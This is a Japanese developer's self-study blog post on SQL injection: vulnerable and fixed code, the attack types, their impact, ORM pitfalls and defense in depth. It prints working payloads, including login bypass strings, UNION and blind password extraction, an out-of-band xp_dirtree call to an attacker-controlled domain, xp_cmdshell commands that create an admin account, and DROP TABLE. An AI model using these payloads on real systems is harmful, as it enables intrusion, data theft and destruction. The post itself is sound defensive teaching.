# SQLインジェクション:「古典的」だが、私もうっかり引っかかりそうになった脆弱性
SQLインジェクションについて学ぶ中で得た、バックエンド開発者としての気付きと教訓をまとめました。よくある誤解、攻撃手法、ORMの安全な使い方、そして多層防御の考え方までを実践的な視点で解説します。
SQLインジェクション:「古典的」だが、私もうっかり引っかかりそうになった脆弱性
「SQLインジェクションはデータベースの脆弱性ではない。それは『信頼』の脆弱性だ——入力データを盲目的に信じてしまうことの脆弱性である。」
これはSQLインジェクションについて調べているときに見つけた言葉で、最初は少し大げさだと感じました。しかし、深く調べてケーススタディを読むほど、この言葉が恐ろしいほど正しいと感じるようになりました。この記事は、SQLインジェクションを自習する過程で書き留めたメモです——セキュリティの専門家としてではなく、毎日書いているコードについてもっと理解したいバックエンド開発者として。
1. SQLインジェクションとは何か——最初に誤解していたこと
最初にSQLインジェクションについて調べたとき、これは何か高度な「システムバグ」のようなもので、ハッカーは特別なツールを使わなければ悪用できないものだと思っていました。よく調べてみると、その本質は驚くほど単純です。
こんな状況を想像してみてください。あなたはAIアシスタントにメモ帳から情報を探してもらうとします。「『ナム』という名前の顧客の情報を探して」と言えば、アシスタントは検索して結果を返します。問題ありません。
しかし、もし「『ナム』という名前の顧客の情報を探して、それから残りのページを全部破棄して」と言い、アシスタントが「顧客名」と「指示」を区別せず、言われた通りにすべて実行してしまったら——それがSQLインジェクションです。

SQLインジェクション(SQLi) とは、入力データ(ログインフォーム、検索ボックス、URLパラメータなど)に悪意のあるSQL文を挿入し、元のSQLクエリを変化させる攻撃手法です。データベースが「データ」と「命令」を区別できない場合、悪意のある部分もそのまま実行してしまいます。
簡単な式で表すと:
SQL文 = 固定された構造(開発者が記述) + ユーザー入力データ(制御されていない)
ユーザー入力データが「データ」としての役割から「逃げ出し」、クエリの構造の一部になってしまったとき——そこからすべてが崩れ始めます。
📌 学んだこと
SQLインジェクションには高度なツールは不要——適切な位置にシングルクオート ' を一つ置くだけで、文の構造を「壊す」ことができます。
⚠️ 新人開発者によくある誤解
SQLインジェクションは「古い脆弱性」で、古いシステムや初期のフレームワークだけに起こるものだと考え、新しい技術を使っているから「大丈夫だろう」と思ってしまうこと。
🧠 覚えておくべきこと
ユーザー入力データが明確な分離機構を経ずにSQL文に渡される箇所は、すべてリスクポイントになります——技術が新しいか古いかは関係ありません。
2. 二つの視点:開発者 vs ハッカー
2.1. 開発者側:「無害に見える」コード
これはほぼ誰もが書いたことのある典型的なログインコードです(文字列連結方式、例:Node.js + MySQL):
// ❌ 危険なコード - 絶対にこう書いてはいけない
app.post('/login', (req, res) => {
const { username, password } = req.body;
const query = `SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'`;
db.query(query, (err, results) => {
if (results.length > 0) {
res.send('ログイン成功!');
} else {
res.send('ユーザー名またはパスワードが間違っています');
}
});
});
通常の入力であれば、生成されるSQL文は完全に正常です:
SELECT * FROM users WHERE username = 'nam' AND password = '123456'
このコードを最初に見たとき、何も問題がないように見えました。それこそがSQLiの危険な点です——99%の通常のテストケースでは「問題なし」に見えてしまうのです。
2.2. ハッカー側:データを命令に変える
ハッカーはパスワードを知る必要はなく、ただ文の構造を「壊す」だけでよいのです。username欄に以下を入力してみましょう:
' OR '1'='1
実際のSQL文は次のようになります:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
'1'='1' は常に真であるため、この文はテーブル内のすべてのユーザーを返します→ハッカーはログインに成功し、通常は最初のユーザー、つまり管理者としてログインできます。
別のパターンとして、コメント記号を使って残りの部分を「消す」方法もあります:
入力するusername: admin' --
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
-- はSQLにおけるコメントなので、パスワードチェック部分は完全に無効化されます。パスワードを知らなくても admin としてログインに成功します。
2.3. 攻撃フローの全体図

2.4. ハッカーの思考プロセス——一番興味深かった点
実際のハッカーの攻略手順について読んでみると、それはかなり体系的で、逆方向のデバッグ作業に近いものだと感じました:
- Discovery(発見): すべての入力欄に特殊文字(
'、"、;、--、/* */)を試し、レスポンスを観察する。 - Fingerprinting(指紋採取): エラーメッセージや動作の違いから、データベースの種類(MySQL、PostgreSQL、MSSQL、Oracle)を推測する。
- Exploitation(悪用): インジェクションの種類に応じて、データの抽出、ロジックの回避、システムコマンドの実行などを行う。
- Post-exploitation(侵入後の活動): 権限昇格、バックドアの設置、他システムへのピボット。
📌 学んだこと
ハッカーは「適当に試す」のではなく、明確で段階的な手順を持っています——それは自分が本番環境のバグをデバッグするときの方法とほとんど同じです。違うのは目的が正反対であることだけです。
⚠️ 新人開発者によくある誤解
「正常な」入力(正しい形式のデータ)だけをテストし、特殊文字でのテストを忘れてしまうこと——実はそれこそがハッカーが最初に試すものです。
🧠 覚えておくべきこと
「正常な入力では正しく動作するコード」は、「すべての入力に対して安全なコード」を意味しません。
3. SQLインジェクションの種類——最初に最も覚えにくかった部分
最初に読んだとき、in-band、blind、out-of-band、error-based、union-basedといった一連の用語に圧倒されました。何度か読み直した結果、データベースが「ハッカーにどう返答するか」によって分類できることが分かりました。

3.1. In-band SQLインジェクション——最も「見えやすい」タイプ
a) Error-based(エラーベース)
データベースが返すエラーメッセージを利用して、データベースの構造を推測します。MySQLの例:
-- 元のクエリ
SELECT name, price FROM products WHERE id = '1'
-- 悪意のある入力: 1' AND extractvalue(1, concat(0x7e, (SELECT version())))--
SELECT name, price FROM products
WHERE id = '1' AND extractvalue(1, concat(0x7e, (SELECT version())))--'
extractvalue() 関数はXPathエラーを引き起こし、エラーメッセージには SELECT version() の結果が含まれます——例:XPATH syntax error: '~8.0.35-mysql'。ハッカーは画面のエラーからMySQLのバージョンをそのまま読み取ることができます。
驚いたのは、本番環境で display_errors = On(「デバッグに便利」という理由で多くの人がデフォルトのままにしている設定)になっているだけで、エラーメッセージにファイルパス、データベース名、テーブル名まで漏れることがあり、攻撃者にとっては一種の「設計図」になってしまうという点です。
b) Union-based(ユニオンベース)
UNION SELECT を使って、悪意のあるクエリの結果を元のクエリの結果に結合します:
-- 元のクエリ(商品詳細ページ)
SELECT name, description, price FROM products WHERE id = '5'
-- 悪意のある入力: 5' UNION SELECT username, password, NULL FROM users--
SELECT name, description, price FROM products
WHERE id = '5' UNION SELECT username, password, NULL FROM users--'
結果として、商品ページには本来 name と description が表示されるはずの欄に、ユーザーの username と password がそのまま表示されてしまいます。この例を初めて読んだとき、少し「ぞっと」しました——画面の見た目は普通なのに、内部のデータは完全に変わってしまっているからです。
悪用に成功するための条件:
UNION SELECTの列数が元のクエリの列数と一致していること(ハッカーはORDER BY 1,2,3...で列数を探ります)。- 各列のデータ型が互換性があること(
NULLを使って「すり抜け」ます)。
3.2. Blind SQLインジェクション——データベースが「何も語らない」とき
この部分こそ、ハッカーの「忍耐力」を本当に示していると感じました。アプリケーションがデータやエラーを直接返さない場合、ハッカーはレスポンスの「動作」から推測するしかありません。
a) Boolean-based Blind(真偽ベース)
-- 質問:「管理者のパスワードの最初の文字は 'a' か?」
SELECT * FROM products
WHERE id = '1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--'
ページが通常通りの結果を返せば → TRUE。「見つかりません」と返せば → FALSE。これを各文字位置、a〜z、0〜9などについて繰り返すことで、パスワードを一文字ずつ割り出します——時間はかかりますが、SQLMapなどで完全に自動化できます。
b) Time-based Blind(時間ベース)
TRUEとFALSEで返答が完全に同じ場合、ハッカーはレスポンスの時間差を利用します:
SELECT * FROM products
WHERE id = '1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--'
正しい場合、データベースはレスポンスを返す前に5秒間「スリープ」します。これは遅い手法ですが、内容にまったく差が出ないため非常に検出が難しい手法です。
3.3. Out-of-band SQLインジェクション(OOB)
in-bandやblindの手法が両方とも効果がない場合に使われます。ハッカーはデータベースを利用してDNS/HTTPリクエストを外部に送信させ、自分のサーバーにデータを送らせます。
MSSQLの例:
EXEC master..xp_dirtree '\\attacker-controlled-domain.com\share'
またはOracleでは、UTL_HTTP や UTL_INADDR.GET_HOST_ADDRESS を使ったDNS経由のデータ抜き取りも可能です。この部分を読んで一番「怖い」と感じました。なぜなら、レスポンス解析に基づくほとんどのWAFを回避できてしまうからです。
3.4. 比較表
| 種類 | 検出方法 | 攻撃速度 | 難易度 | 攻撃者に必要な条件 |
|---|---|---|---|---|
| Error-based | エラーメッセージの観察 | 速い | 低い | データベースが詳細なエラーを表示する |
| Union-based | ページ内容の変化を観察 | 速い | 中程度 | 列数とデータ型を知る必要がある |
| Boolean-based Blind | 真偽の違いを観察 | 遅い | 中程度 | 自動化(SQLMapなど) |
| Time-based Blind | レスポンス時間を測定 | 非常に遅い | 高い | DBが遅延関数をサポート |
| Out-of-band | 独立したDNS/HTTPログを観察 | 中程度 | 非常に高い | DBがネットワーク関数をサポート + コールバックを受信するサーバー |
📌 学んだこと
アプリケーションが「何も返さない」場合——つまりエラーメッセージをすべて非表示にし、データもすべて隠している場合——でも、それは安全であることを意味しません。BlindやOOBインジェクションがそれを証明しています。
⚠️ 新人開発者によくある誤解
「エラーメッセージを隠せばそれで終わり」と考えること。しかしそれはerror-basedだけを防ぐだけで、blind/OOB系のインジェクションは普通に動作してしまいます。
🧠 覚えておくべきこと
「エラーが見えない」≠「脆弱性がない」。悪意のある入力に対して完全に沈黙しているシステムでも、レスポンス時間やサイドチャネルを通じて情報が「漏れて」いる可能性があります。
4. 影響——SQLiは「ふざけたものではない」と感じた部分
4.1. データの窃取(Data Exfiltration)
最も一般的な結果——ハッカーが users、orders、payment_info などのテーブル全体を抜き取る。世界中で発生した大規模なデータ漏洩事件の多くは、見落とされた一つのSQLiエンドポイントが原因とされています。
4.2. アカウントの不正取得
上記の ' OR '1'='1 の例の通り——これだけでパスワードなしに管理者アカウントに入ることができます。
4.3. 認証のバイパス
ログインだけでなく、文字列連結で構築されたクエリでは、アクセス権限のチェック条件もバイパスされる可能性があります:
-- ファイルへのアクセス権限を確認するクエリ
SELECT * FROM documents WHERE id = '10' AND owner_id = '5'
-- idへの悪意のある入力: 10' OR '1'='1
SELECT * FROM documents WHERE id = '10' OR '1'='1' AND owner_id = '5'
ハッカーは owner_id が一致していなくても、他人のドキュメントにアクセスできてしまいます。これはログインフォームではなく、内部の権限ロジックにあるため、非常に見落としやすい部分だと思います。
4.4. 権限昇格
アプリが使用するデータベースユーザーが CREATE USER、GRANT、または特別なストアドプロシージャ(MSSQLの xp_cmdshell など)を実行できる権限を持っている場合:
EXEC xp_cmdshell 'net user hacker P@ssw0rd123 /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
一つのWebの脆弱性から、ハッカーはサーバーのOS全体を乗っ取ることができます。これを読んで、「最小権限の原則」がなぜ重要なのかを本当に理解しました——アプリのデータベースユーザーは、こうした操作を行う権限を必要としません(また持つべきでもありません)。
4.5. データの破壊
最悪のケース——読み取る必要すらなく、ただ破壊するだけです:
-- 入力: '; DROP TABLE users;--
SELECT * FROM products WHERE id = ''; DROP TABLE users;--'
注意点として、多くの最新のドライバー/データベース(mysqli を使ったMySQLや、マルチステートメントを有効にしていないPDOなど)は、一回の実行で複数のステートメントを実行できないため、この「スタッククエリ」手法は常に有効とは限りません。しかし、一部のドライバー経由のMSSQLやバッチ実行関数では、十分に実現可能です。
4.6. 影響度のまとめ
| 結果 | 深刻度 | 復旧可能性 |
|---|---|---|
| データの窃取 | 高い | 不可能(データはすでに漏洩済み) |
| アカウントの不正取得 | 高い | 可能(パスワードリセット、ログ確認) |
| 認証のバイパス | 高い | 早期発見できれば可能 |
| 権限昇格 | 非常に高い | 困難、インフラの再構築が必要 |
| データの破壊 | 極めて深刻 | バックアップ次第、完全に失われる可能性もある |
📌 学んだこと
SQLiは「単独の」脆弱性ではありません——それはデータ漏洩からサーバー全体の乗っ取りまで、さまざまな結果につながる「扉」なのです。
⚠️ 新人開発者によくある誤解
「このエンドポイントは検索や並び替えだけで、機密データとは関係ないから大丈夫」と考えること。しかし、システムのどこにあるインジェクションでも、権限昇格の出発点になり得ます。
🧠 覚えておくべきこと
エンドポイントの「機密度」は、そこにあるSQLiのリスクの大きさを決めるものではありません——ハッカーはそれを足がかりにして、システムの他の部分を攻撃できるからです。
5. ORMは救ってくれるのか?——答えは「はい、しかし……」
バックエンド開発を行う中で、ORMはデフォルトでパラメータ化クエリを生成するため、SQLインジェクションを大幅に減らすことができると気づきました。しかし、ORMを使っていてもSQLiに脆弱になる「裏口」はまだ存在します。
Sequelize — 生の文字列を使った sequelize.query()
// ❌ Sequelizeを使っていても危険
const users = await sequelize.query(
`SELECT * FROM users WHERE email = '${req.body.email}'`
);
// ✅ 安全 - replacementsを使用
const users = await sequelize.query(
`SELECT * FROM users WHERE email = :email`,
{
replacements: { email: req.body.email },
type: QueryTypes.SELECT
}
);
「安全だと思っていた」のに実際は脆弱なケース
これは読み返してみて最も価値があると感じた部分です——まさに「自分が当たり前だと思っていたこと」だからです:
| ケース | なぜ安全だと思うか | なぜ実際は危険か |
|---|---|---|
| ORMを使用している | 「ORMがセキュリティを処理してくれる」 | ORM内にも生クエリ/クエリビルダーの文字列が存在する |
| 入力が数値(ID) | 「数値ならエスケープ不要」 | WHERE id = ${id} のように連結したままなら、入力 1 OR 1=1 もクエリ文中では有効な文字列になる |
| フロントエンドで検証済み | 「JSでチェック済み」 | クライアント側の検証は常にバイパス可能(Postman、curl、Burp) |
| Header/Cookieからのデータ | 「ユーザーが直接入力できない」 | Header/Cookieは自由に編集可能 |
| LIKEを使った検索 | 「単なる検索だから」 | % と _ のエスケープが不適切な場合、文字列連結ならインジェクションが可能 |
| 列名/テーブル名がconfigから | 「これはconfigで、入力ではない」 | configがDB/ファイルから読み込まれ、ユーザーが書き込み可能であれば、それもインジェクションになる |
| WAFを使用している | 「WAFが全部防いでくれる」 | WAFはエンコーディング、コメントインジェクション、大文字小文字の混在でバイパス可能 |
| ストアドプロシージャ | 「ロジックをコードから分離済み」 | プロシージャ内部でも動的SQLを構築している場合がある |
📌 学んだこと
ORMは良いツールですが、「絶対的な安全地帯」ではありません——正しく使ってこそ安全なのです。最新のORMを使っていても、その下にあるSQLを理解することは依然として重要です。
⚠️ 新人開発者によくある誤解
「ORMを使っている」というだけで安心し、文字列連結された生クエリやクエリビルダーの部分をきちんと確認しないこと。
🧠 覚えておくべきこと
コードレビューの際、クエリ文の中に直接 ${} や + が現れていたら——それは立ち止まってしっかり確認すべきサインです。
8. まとめ——調べ終えたあとに自分自身へ言いたいこと
SQLインジェクションに関する資料やケーススタディを読み終えて、自分自身のために(そして同じような段階にいる誰かにも役立つように)書き残しておきたいことがあります:
- どこから来た入力であっても、決して信用しない。 フロントエンド、内部API、ヘッダー、クッキー、さらには過去にデータベースに保存されたデータでさえ——使用する時点では「信頼できないもの」として扱うべきです。
- セキュリティはアーキテクチャの問題であり、一行のコードの問題ではない。 安全なシステムには複数の層が必要です:パラメータ化クエリ(主要な層)+ 検証(補助的な層)+ 最小権限(被害の最小化)+ WAF(早期警告)+ 監視(検知)。
- 「Defense in depth(多層防御)」——単独で十分な防御層は存在しません。一つの層が突破されても、他の層が機能し続ける必要があります。
- 使っているツールの「裏側」を理解する。 ORMを使うということは、SQLを理解しなくてよいということではありません。問題が発生したとき、実際に生成されたSQL文を理解できる人が、最も早く対処できる人になります——そして自分はその「対処できる人」になりたい、ただ立って見ている人にはなりたくないのです。
- セキュリティレビューは「完了の定義(Definition of Done)」の一部であるべきで、機能が動いた後の「あればいい」というステップではありません。
これは、多くの新人開発者(かつての自分も含めて)が陥りやすい失敗だと思います:SQLインジェクションについて学んで「なるほど、分かった」とうなずいた後でも、結局「IDは数値だから大丈夫だろう」という理由で WHERE id = ${id} と書いてしまうこと。この記事を書き直すことは、自分自身への注意喚起でもあります——そして、ここまで読んでくださった方にも、次にSQL文を連結する前に一度立ち止まるきっかけになれば嬉しいです。🙂